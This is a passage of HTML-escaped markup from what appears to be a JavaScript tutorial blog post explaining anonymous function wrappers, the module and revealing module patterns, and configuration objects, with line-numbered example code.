&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;getMemberDetails(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This, however, doesn&#39;t do anything outside of that function. If this  is what you need, then great. You may as well discard the name then:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_683492&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;age = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;34&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;status = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;single&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;createMember(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;getMemberDetails(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;})();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;If you need to make some of the things reachable to the outside, then you need to change this. In order to reach &lt;code&gt;createMember()&lt;/code&gt; or &lt;code&gt;getMemberDetails()&lt;/code&gt;, you need to return them to the outside world to make them properties of &lt;code&gt;myApplication&lt;/code&gt;:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_426234&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;myApplication = &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;age = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;34&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;status = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;single&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;return&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;createMember:&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;},&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;getMemberDetails:&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;comments&quot;&gt;// myApplication.createMember() and&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;comments&quot;&gt;// myApplication.getMemberDetails() now works.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This is called a module pattern or singleton. It was mentioned a lot by Douglas Crockford and is used very much in the &lt;a href=&quot;http://developer.yahoo.com/yui&quot;&gt;Yahoo User Interface Library YUI&lt;/a&gt;.  What ails me about this is that I need to switch syntaxes to make  functions or variables available to the outside world. Furthermore, if I  want to call one method from another, I have to call it preceded by the  &lt;code&gt;myApplication&lt;/code&gt; name. So instead, I prefer simply to return  pointers to the elements that I want to make public. This even allows me  to shorten the names for outside use:&lt;br /&gt;
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_357200&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;myApplication = &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;Chris&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;age = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;34&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;var&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;status = &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;single&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;createMember(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;getMemberDetails(){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// [...]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;return&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;create:createMember,&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;get:getMemberDetails&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;comments&quot;&gt;//myApplication.get() and myApplication.create() now work.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;I&#39;ve called this &quot;&lt;a href=&quot;http://www.wait-till-i.com/2007/08/22/again-with-the-module-pattern-reveal-something-to-the-world/&quot;&gt;revealing module pattern&lt;/a&gt;.&quot;&lt;br /&gt;
&lt;h3&gt;Allowing For Configuration&lt;/h3&gt;Whenever I&#39;ve written JavaScript and given it to the world, people  have changed it, usually when they wanted it to do things that it  couldn&#39;t do out of the box—but also often because I made it too hard for  people to change things.&lt;br /&gt;
The workaround is to add configuration objects to your scripts. I&#39;ve &lt;a href=&quot;http://www.wait-till-i.com/2008/05/23/script-configuration/&quot;&gt;written about JavaScript configuration objects in detail&lt;/a&gt;, but here&#39;s the gist:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Have an object as part of your whole script called &lt;code&gt;configuration&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;In it, store all of the things that people will likely change when they use your script: &lt;ul&gt;&lt;li&gt;CSS ID and class names;&lt;/li&gt;
&lt;li&gt;Strings (such as labels) for generated buttons;&lt;/li&gt;
&lt;li&gt;Values such as &quot;number of images being displayed,&quot; &quot;dimensions of map&quot;;&lt;/li&gt;
&lt;li&gt;Location, locale and language settings.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
